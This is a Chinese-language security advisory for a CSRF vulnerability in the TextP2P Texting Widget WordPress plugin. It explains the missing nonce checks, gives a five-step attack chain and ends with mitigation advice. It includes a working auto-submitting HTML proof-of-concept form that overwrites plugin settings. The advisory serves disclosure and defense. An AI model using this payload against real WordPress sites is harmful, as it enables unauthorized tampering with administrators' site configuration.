CVE-2026-4133 CVSS 4.3 中危

CVE-2026-4133 TextP2P插件CSRF漏洞

披露日期: 2026-04-22

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-4133

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

TextP2P Texting Widget

漏洞概述

TextP2P Texting Widget WordPress插件在1.7及以下版本中存在跨站请求伪造（CSRF）漏洞。该漏洞源于imTextP2POptionPage()函数缺少nonce验证机制。攻击者可诱导管理员点击恶意链接，在未经身份验证的情况下篡改插件设置，包括API凭据、聊天窗口标题及消息等。尽管需要用户交互，但此漏洞仍可能导致网站功能异常或敏感配置泄露。

技术细节

该漏洞位于插件处理设置更新的逻辑中。在文件inc/admin/im-textp2p-options.php中，第314行的表单未使用wp_nonce_field()生成安全令牌，且第7行的POST请求处理程序未调用check_admin_referer()或wp_verify_nonce()进行校验。这使得未经身份验证的攻击者能够构造特制的HTML页面，诱导已登录的管理员访问。一旦管理员触发请求，攻击者即可利用管理员的会话权限修改插件的所有设置，包括小部件标题、消息内容、API密钥、颜色配置及reCAPTCHA设置，从而破坏站点完整性。

攻击链分析

STEP 1

侦察

攻击者识别目标网站使用的是存在漏洞的TextP2P Texting Widget插件（版本<=1.7）。

STEP 2

制作载荷

攻击者构造一个HTML页面，包含指向插件设置更新接口的恶意表单，设置需要篡改的参数值（如API Key）。

STEP 3

传递攻击

攻击者通过网络钓鱼或其他社会工程学手段，诱导网站管理员点击链接或访问包含恶意代码的页面。

STEP 4

执行请求

管理员浏览器在后台自动向WordPress后台发送POST请求，由于缺少nonce验证，服务器接受该更改请求。

STEP 5

达成效果

插件设置被成功修改，攻击者可能获取API控制权或篡改前端显示内容。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2026-4133 CSRF Vulnerability -->
<!-- Attacker sends this HTML to the Admin -->
<html>
  <body>
    <form action="http://victim-site/wp-admin/admin.php" method="POST">
      <input type="hidden" name="option_page" value="imTextP2POptions" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=im-textp2p-options" />
      <!-- Malicious payload to change settings -->
      <input type="hidden" name="imTextP2PData[widget_title]" value="HACKED" />
      <input type="hidden" name="imTextP2PData[message_text]" value="This site has been compromised" />
      <input type="submit" value="Claim Prize" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

影响范围

TextP2P Texting Widget <= 1.7

防御指南

临时缓解措施

建议立即将插件更新至修复了该漏洞的版本。若无法立即更新，管理员应避免在登录后台时访问不可信的链接，并定期检查插件设置是否被篡改。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表